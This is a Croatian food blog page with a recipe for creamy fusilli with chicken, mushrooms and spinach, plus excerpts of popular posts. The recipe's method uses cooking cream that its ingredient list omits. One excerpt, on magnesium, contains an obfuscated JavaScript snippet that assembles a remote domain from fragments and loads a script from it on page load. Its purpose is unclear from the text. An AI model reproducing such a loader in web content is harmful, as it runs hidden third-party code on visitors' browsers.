KREMASTA TJESTENINA S PILETINOM, ŠPINATOM I GLJIVAMA 🍄 🍄‍🟫 🐔



Kremasta tjestenina s piletinom, špinatom i gljivama 



Visoke temperature traže jednostavna i ukusna jela koja se pripremaju bez dugotrajnog stajanja uz štednjak. Kremasta tjestenina s piletinom, gljivama i svježim špinatom odličan je izbor za brz, zasitan i ukusan obrok koji će zadovoljiti cijelu obitelj. Spoj sočne piletine, aromatičnih gljiva i bogatog kremastog umaka čini ovo jelo idealnim za ručak ili večeru, a priprema je dovoljno jednostavna da ga bez puno truda možete pripremiti i tijekom radnog tjedna.





Kremasta tjestenina s piletinom, špinatom i gljivama 



Sastojci za četiri osobe:

  • 400 g fusili tjestenine
  • 500 g pilećeg filea
  • 400 g šampinjona
  • 200 g svježeg špinata
  • 2 manja luka, sitno nasjeckana 
  • 4 češnjaka, sitno nasjeckana 
  • 400 ml pilećeg temeljca 
  • 2 žlice maslinovog ulja 
  • 2 žlice maslaca 
  • 1 žličica slatke mljevene paprike 
  • sol i svježe mljeveni crni papar po ukusu 



Priprema:

Zakuhajte veći lonac posoljene vode. Dodajte fusilli tjesteninu i kuhajte 1–2 minute kraće nego što piše na pakiranju. Ocijedite je i ostavite sa strane.

Pileći file narežite na manje zalogaje. Začinite ga solju, paprom i mljevenom paprikom.

U velikoj tavi koja može ići u pećnicu zagrijte maslinovo ulje. Dodajte piletinu i pecite 4–5 minuta uz povremeno miješanje, dok ne dobije lijepu zlatnu boju. Izvadite je na tanjur.


U istu tavu dodajte maslac. Ubacite luk i pirjajte 2–3 minute dok ne omekša. Dodajte češnjak i gljive te nastavite pirjati oko 5 minuta, dok gljive ne otpuste tekućinu i lagano porumene.


U tavu ulijte pileći temeljac i lagano promiješajte kako biste pokupili sve arome s dna posude. Dodajte vrhnje za kuhanje i kuhajte 2–3 minute na srednje laganoj vatri dok se umak lagano ne zgusne.


U umak umiješajte svježi špinat. Miješajte oko 1 minutu dok ne uvene. Vratite piletinu u tavu i dobro promiješajte.


Dodajte kuhanu fusilli tjesteninu u tavu. Sve pažljivo promiješajte kako bi se tjestenina ravnomjerno obložila kremastim umakom. Kuhajte još otprilike 5 minuta i poslužite dok je još toplo.




Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više